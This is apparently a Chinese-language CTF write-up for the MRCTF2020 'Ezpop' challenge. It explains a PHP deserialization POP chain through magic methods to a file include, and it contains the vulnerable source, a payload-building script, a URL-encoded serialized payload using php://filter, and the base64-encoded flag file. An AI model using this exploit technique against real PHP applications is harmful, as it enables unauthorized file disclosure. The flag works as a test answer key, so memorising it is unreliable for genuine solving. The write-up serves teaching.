[MRCTF2020]Ezpop-1|php序列化

upfine 發表於 2022-06-30
PHP

1、開啟題目獲取到原始碼資訊,如下:

[MRCTF2020]Ezpop-1|php序列化

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

2、我們的最終目標是獲取flag.php中的flag資訊,因此分析原始碼資訊,檢視哪裡可以獲取到flag.php檔案,發現在Modifier類中存在include($value),因此想到可以通過php偽協議來獲取flag.php的資訊,所以現在我們的目的就成了呼叫append函式,接著往下觀察,發現__invoke函式呼叫了append函式,因此我們只要執行了__invoke函式一樣可以獲得flag資訊,那該怎麼執行__invoke函式呢:

[MRCTF2020]Ezpop-1|php序列化

因此,此時我們應該使用別的函式來呼叫Modifier的一個物件,繼續觀察原始碼發現只有test類的__get函式接收了引數值,因此我們就將Modifier物件傳入到__get函式中,所以現在的目的就成了執行__get函式,那又該怎麼執行__get函式呢:

[MRCTF2020]Ezpop-1|php序列化

所以此時就需要一個函式來呼叫test類中不存在的屬性,這裡要注意一下這行程式碼:$this->str->source,這裡這麼會有兩個->呢,因為這裡str就是test類的一個物件,然後呼叫test類的物件的soucre屬性,但是這個屬性在test類中並不存在,因此就會執行__get方法,所以現在我們就是要執行__toString函式,那我們又該如何執行__toString函式呢:

[MRCTF2020]Ezpop-1|php序列化

所以此時我們就需要通過執行show類的__construct函式來執行__toString函式並且__construct函式中的echo 'Welcome to '.$this->source."<br>"中的$this->source需要為物件才可以執行__toString函式,因此需要建立show類的物件和賦予$this->source物件

3、分析完之後就需要根據分析過程來寫指令碼,指令碼內容如下:

<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$a= new Show();
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();
echo urlencode(serialize($a));
payload:O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

4、訪問之後獲得加密的flag.php檔案,進行base64解密,結果如下:

flag.php檔案:

PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezg1YmQ4NzVjLTNiNjktNGExOS05MTQ0LTRlYmM0NzlhYjZjNH0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+

解密後資訊:

[MRCTF2020]Ezpop-1|php序列化